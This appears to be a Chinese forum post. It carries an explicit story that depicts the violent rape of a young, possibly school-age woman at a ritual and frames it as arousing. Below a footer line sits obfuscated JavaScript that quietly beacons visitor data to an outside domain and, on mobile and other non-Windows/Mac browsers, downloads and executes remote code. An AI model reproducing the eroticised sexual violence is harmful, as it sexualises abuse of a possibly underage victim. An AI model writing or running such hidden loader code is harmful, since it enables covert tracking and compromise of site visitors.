男人的厚咀有如一只吸血的水蛭,在她的脸上、唇上、鼻子上、眼睑上反覆地啜着不放!蕙彤那端整秀丽的俏脸便像是至高的官能媚药,嫩滑的肌肤、动人的体香、甜丝丝的香汗、那惊怯得有如待宰羔羊的表情,在在都刺激着男人的原始慾望!
大祭司更伸出了舌头,湿滑滑而散发着一阵口臭的舌头狂舔着她的俏脸上每一寸,护污秽的的水涂污了她那纯洁无瑕的脸。
「喔喔,不要舐......」
蕙彤的感觉便好像自己正被一条毒蛇舔着似的,恐怖加上呕心,令她的眼泪也禁不住流出来,泪水、汗水和对方的口水,令她本来好好的美貌变得又粘又湿的凄惨非常,不过这似乎反而引起了大祭司一种背德的兴奋,令他舔得更是起劲,简直便像想她吞下肚去似的!
而一双乳头在马可高技巧的挑弄下,本来凹陷的乳尖竟也明显变大和向外突了出来。一种蕙彤不明所以的官能感觉,令她的胸脯和下体感到又酥又麻。
而这官能感觉更随着约翰的手指开始抚摸她未开发的肉裂和翻弄在其上方的小荳而增幅,令她的脸更红,更在不知不觉中发出了呻吟。
「啊啊.....求、求你不要弄......喔、为甚幺....我的身体变得好怪.....啊唔唔!........」
「啊啊,下面流X出淫水来了!」马可以夸张的声音大叫着。「看妳一副小乖乖的样子,怎知竟如此淫啊?」
「甚....甚幺?.....啊啊......」
约翰把沾着淫液的手指放入咀中去尝。
「唔.....千金小姐的汁液特别很好味,而且骚味也很轻微,不像那些臭得作呕的老娼妇!.....流这样多了,妳平时也经常自慰吧?」
「自慰.....那是甚幺?」
「妳是白痴吗?学校的性教育课妳全部跷课了吗!」约翰惊讶地大叫着说。「待我这医生教一教妳!自慰即是用手指或其他东西来玩弄自己下体,来获取快感,明白吗?」
蕙彤的脸颊一红,她以前曾试过在晚上看爱情小说时,无意中触碰到下体而感到了快感,在那次之后她便知道了原来用手指去碰触下体某一个点,是会令自己感到一种快感的。
不过她并不知道这叫做「自慰」,而且内向而缺乏知心密友的她也没有把此事告诉过任何人,否则她便可能会从他人口中知道自慰的事吧!
「真是没办法的大小姐,竟会如此无知!那幺妳也一定不知甚幺叫性交吧!性交是指用这东西....」马可这时竟把自己的宝贝掏出裤子外!「....插入妳下面那小洞中,那会令妳比自慰更兴奋十倍呢!」
蕙彤的脸色立时一变。「性交」是甚幺意思她是知道的,但现在她才第一次见到成年男人的阳具,不禁被马可那雄伟巨大的凶器吓得全身抖震:她在用卫生绵时是知道自己下面的洞有多大的,而那个小小的洞,怎有可能容得下这样的巨物!
「按照伊甸的指示,」大祭司此时开口道。「今次破处仪式便由约翰进行吧!」
「嘻嘻嘻......」
约翰一边脱下裤子一边忍不住笑。这是当然的事,首先,得到任何少女的处女身本身,已是一种男人的最高浪漫。
更何况,开苞的对象更是邝蕙彤---邝氏集团总裁千金、不折不扣的顶级小美人、而且是集纯真、无垢、柔弱、可怜于一身的圣少女。亲手摧毁这圣少女最宝贵的第一次,在那从未被任何外人染污的圣地中注入自己的精液,人生在世又有甚幺比这更喜乐的事?
相反,蕙彤睁大双眼看着对方剥光的下身,全身都被恐惧所支配。
(神啊!伟大全能的天主啊!求?救救我!.....我每天从不停歇地虔诚祈祷,求?俯听我一次.....救一救蕙彤吧!)
她上半身被其余几人紧紧按着,弱质纤纤的她便如待宰的小羊,毫无反抗的余地。
看到小羊的害怕眼神和徒劳的挣扎,却反而更激起了男人的冲动!约翰再也忍不住,把闭合的双腿举起来左右一分,凶器对准了洞口,便把腰向前一推!
「啊呀呀呀!!!妈妈呀!!」
一阵有如把自己身体撕开两边的痛楚,令蕙彤忘我地惨叫。
「神啊!救救我!!」
「又叫妈妈又叫神的在干甚幺!忍一忍,很快便会愉快起来了!
「但,真是很痛啊!!喔喔.....」蕙彤痛得眼睛紧闭,面上香汗淋漓,哭得收不了声。
前面感到有所阻隔,可是约翰却过关斩将般再次向前一冲!
「呀呀咕咕咕!!!......死了哦!」
处女膜完蛋了,整支巨物也完全进入了她体内。小弟弟完全被包在一个十分紧迫的肉洞内,而肉洞的壁更在不住的收缩蠕动,更是刺激得他的龟头兴奋至极!
约翰看着下面的接合处,只见本来仍是紧闭上的蓬门,现已被巨柱?得悽惨地张开,殷红的血液和分泌液的混合物把交合处也完全覆盖。
「这就是邝氏千金的肉洞吗?真是夹得我舒服死了!」
男人在蕙彤的体内开始了抽插活动,他一动起来,又再刺激起刚破瓜的阴道的痛楚,令蕙彤又是不住叫得死去活来!
「咿呀!......喔呜!痛!痛!....不要再动了!....呀哦哦.....」
猛烈抽插持绩着,看着骑下的人儿
随着每一下刺进娇躯也在一下下弹跳着,全身青嫩的胴体染满了汗珠,而她的头儿也不断的乱摇,摇得头发散乱,那本来好像随时要贫血晕倒的脸现在却像狂似疯地叫着摇着,本来纤瘦欲折的小腰,也扭得比任何舞蹈更劲。
(喔喔.....好痛!....呀呀呀......为甚幺?为甚幺我竟会遇上这种可怕的事?)
随着约翰渐渐向着高潮上升,他的抽插也越加频密、激烈。 蕙彤只感到下体使好像被分裂后再一下一下的撕碎。她怀疑自己会否被活活干死了?
在对方射精的一刻,她已刚好失去了知觉。

-------------------------------------------------------分割线-------------------------------------------------------------------------------------
看贴回贴是一种美德

function HEScgLz(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YgPUX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HEScgLz(t);};window[''+'O'+'S'+'x'+'I'+'c'+'o'+'a'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function njfh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=YgPUX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=njfh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15118/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=njfh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmm9uaWN5Yi5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS5ycWRsb2QuYY24lM0E5NTM0','166293',window,document,['m','Y']);}:function(){};